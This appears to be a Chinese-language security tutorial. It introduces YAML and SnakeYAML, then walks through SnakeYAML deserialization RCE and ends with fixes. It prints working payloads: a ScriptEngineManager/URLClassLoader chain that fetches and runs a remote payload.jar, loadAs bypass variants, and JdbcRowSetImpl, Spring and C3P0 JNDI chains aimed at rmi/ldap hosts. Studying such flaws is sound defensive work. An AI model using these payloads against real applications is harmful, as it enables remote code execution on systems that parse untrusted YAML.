Yaml基础知识
基本语法:
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用tab,只允许空格
- 缩进的空格数不重要,只要相同层级的元素左对齐即可
- ‘#’表示注释
数据结构:
对象
使用冒号代表,格式为 key: value。冒号后面需要加空格:
key: key_child01: value key_child02: value
数组
使用
-
后面加空格代表一个数组项:shuzhu: - One - Two - Three
常量
提供多种常量结构,包括:整数、浮点数、字符串、NULL、日期、布尔、时间:
boolean: - TRUE #true,True都可以 - FALSE #false,False都可以 float: - 3.14 - 6.8523015e+5 #可以使用科学计数法 int: - 123 - 0b1010_0111_0100_1010_1110 #二进制表示 null: nodeName: 'node' parent: ~ #使用~表示null string: - 哈哈 - 'Hello world' #可以使用双引号或者单引号包裹特殊字符 - newline newline2 #字符串可以拆成多行,每一行会被转化成一个空格 date: - 2023-02-02 #日期必须使用ISO 8601格式,即yyyy-MM-dd datetime: - 2023-02-02T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
yml文件转yaml字符串在线工具:https://www.345tool.com/zh-hans/formatter/yaml-formatter
SnakeYmal基本使用
添加依赖包:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.33</version>
</dependency>
- Yaml.dump(): 将java对象序列化为yaml字符串。
- Yaml.load(): 将输入的yaml形式的字符串或者文件反序列化为java对象。
序列化
Student类:

对Student类进行序列化:

得到序列化字符串值 !!cn.red6380.Student {age: 13, name: red6380}
!!后接被序列化的全类名,类似于fastjson中的@type
反序列化

load和loadas进行反序列化时会调用相应的setter方法(pubilc修饰的属性不会调用setter方法),由于loadAs反序列时需指定类,所以入参直接指定参数值即可。
SnakeYmal反序列化漏洞分析
影响版本:全版本
POC( [ 前注意有空格,否则无法执行)
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999"]]]]
EXP
https://github.com/artsploit/yaml-payload/:参考此处的payload进行攻击。
此处用到了SPI机制。
Java SPI机制全称为Service Provider Interface, 即服务提供发现机制。
当服务的提供者提供了一种接口的实现之后, 需要在classpath下 META-INF/services
目录里创建一个以服务接口命名的文件, 文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找 META-INF/services
中的配置文件去加载对应的实现类。
漏洞分析:
在yaml.load()处打断点进行调试。

进入load函数中,先把入参转变成StreamReader对象后再执行loadFromReader方法,继续跟进。
loadFromReader方法前面两行代码只是进行常规的赋值操作,直接跟进getSingleDate方法。

首先将payload使用getSingleNode方法进行一些转换成为Node对象,!!转变为tag:yaml.org,2002:是在此处方法中进行的,然后直接跳过判断语句进入constructDocument方法,继续跟进。

继续跟进constructObject方法。

一直跟进,直到constructor.construct方法,继续跟进。

construct——>getConstructor——>getClassForNode——>getClassForName,可知在此方法中使用Class.forName对javax.script.ScriptEngineManager类进行加载。之后依次会对java.net.URLClassLoader、java.net.URL类使用相同的方式进行加载。

依次加载类后,会进入类的实例化,实例化顺序为java.net.URL、java.net.URLClassLoader、javax.script.ScriptEngineManager,一层一层将前面实例化的对象作为下一个类实例时的入参。

命令触发是在javax.script.ScriptEngineManager类实例时,所以跟进ScriptEngineManager的构造函数。
构造函数调用了init方法,跟进此方法,前面是实例化一些类,直接跟进initEngines方法。

跟进getServiceLoader方法。最后返回的是ServiceLoader实例。



此处返回结果,继续跟进来到了while循环。

跟进hashNext方法。最后来到hasNextService方法,这里去获取META-INF/services/javax.script.ScriptEngineFactory类信息,最后返回true。



继续跟进,来到while循环中的itr.next方法。




来到了nextService方法,先加载类再实例。可看出第一次实例化的类是NashornScriptEngineFactory。

调试可知while循环体需执行两次,第一次实例化的是ScriptEngineFactory,第二次才是POC类
第二次实例化执行命令成功。

入参部分可控
在实际情况中yaml.load的入参可能只是yaml文件中的一部分,此时是否也可以进行反序列化呢?
本地创建一个yml文件进行测试。D://setting.yml
config:
secret: 1860437896
number: 11111
nacos:
server-addr: 127.0.0.1:8848
namespace: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/payload.jar"]]]]
set: test
成功执行命令,经过测试,只需要控制yml文件中的value或者key值即可进行命令执行。

经过调试发现,传入的yaml字符串会生成map对象,yaml.load逻辑上是对map中的key、value值进行依次解析。


经测试fastjson格式也支持。此处vaule部分不需要加双引号否则无法命令执行
{"tst":!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/payload.jar"]]]]}

LoadAs反序列化漏洞分析
指定类包含有参构造函数
yaml.loadAs()中已经指定待反序列化对象的类型。直接使用payload进行反序列报错。
发现执行报错点在org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct方法中

跟进yaml.loadAs方法中的type在哪里起作用。

可知,当type不为Object时,node的Tag标签会被设置成指定的类。由前面分析可知,Tag标签表示最终需要实例化的类,所以此处javax.script.ScriptEngineManager的类会被实例化为Student类,从而导致无法执行命令。

进一步证实,查看node.setTag()后的node对象的值。可看出,最外层的tag直接为Student类,明显此处是直接替换了javax.script.ScriptEngineManager类,而后面的payload并没有发生变化。

所以,此处想到何不在直接在最外层再套一层类,使ScriptEngineManager类在内层就执行。
构造paylaod:
!!java.lang.String [!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999/payload.jar\"]]]]]
传入此payload,报错并没有执行命令。查看报错原因,大致意思是没有发现Student类一个参数的构造函数。此时反应过来,Student类只设置了无参构造函数,和两个参数的构造函数,所以需要符合构造参数的传参。

增加一个参数后的payload。
!!java.lang.String [!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999/payload.jar\"]]]],test]
成功执行命令。

指定类只有无参构造函数
仔细思考,发现上述方法只有当指定反序列化类有一个或一个以上的参数构造函数时,loadAs才能触发命令执行,当指定类只有无参构造函数时呢?所以继续进行探索。
将Student类中的有参构造函数注释掉,只留无参构造函数。

POC
name: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/payload.jar"]]]]
此处的name为Student类的属性,因为类的在实例化时会加载属性,加载属性时也会对!!后的字符进行强制类型转化。
若此字符串不为类属性时,会在此处报错而不进行后续操作。

其他利用链
snakeyaml反序列化漏洞和fastjson反序列化漏洞相似,所以部分利用链可参考fastjson漏洞链
JdbcRowSetImpl链
payload:
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";
调用链
JdbcRowSetImpl#setAutoCommit
JdbcRowSetImpl#connect
InitialContext#lookup
此处原理:yaml.load反序列化时会调用private修饰的属性的set方法。即会调用setdataSourceName、setAutocommint方法。
Spring PropertyPathFactoryBean
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://127.0.0.1:1389/Exploit\"\n" +
" propertyPath: Red6380\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://127.0.0.1:1389/Exploit\"]";
C3P0 JndiRefForwardingDataSource
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://127.0.0.1/Exploit\"\n" +
" loginTimeout: 0";
snakeyaml反序列漏洞修复
- 加入new SafeConstructor()类进行过滤。此方法通过白名单的方式规定了哪些类可以进行反序列化。
加入过滤器进行反序列化恶意类会报错。

SafeConstructor类中定义的可反序列化的类。

- 禁止Yaml.load()函数参数外部可控。
总结
- 控制yaml字符串中的key或者vaule部分即可命令执行。
- yaml.loadAs也可以造成反序列化漏洞,使用指定类的有参构造函数或者属性值构造相应的payload即可。
- snkayaml分析列化漏洞与fastjson相似,所以可以在fastjson利用链中寻找利用链。
参考资料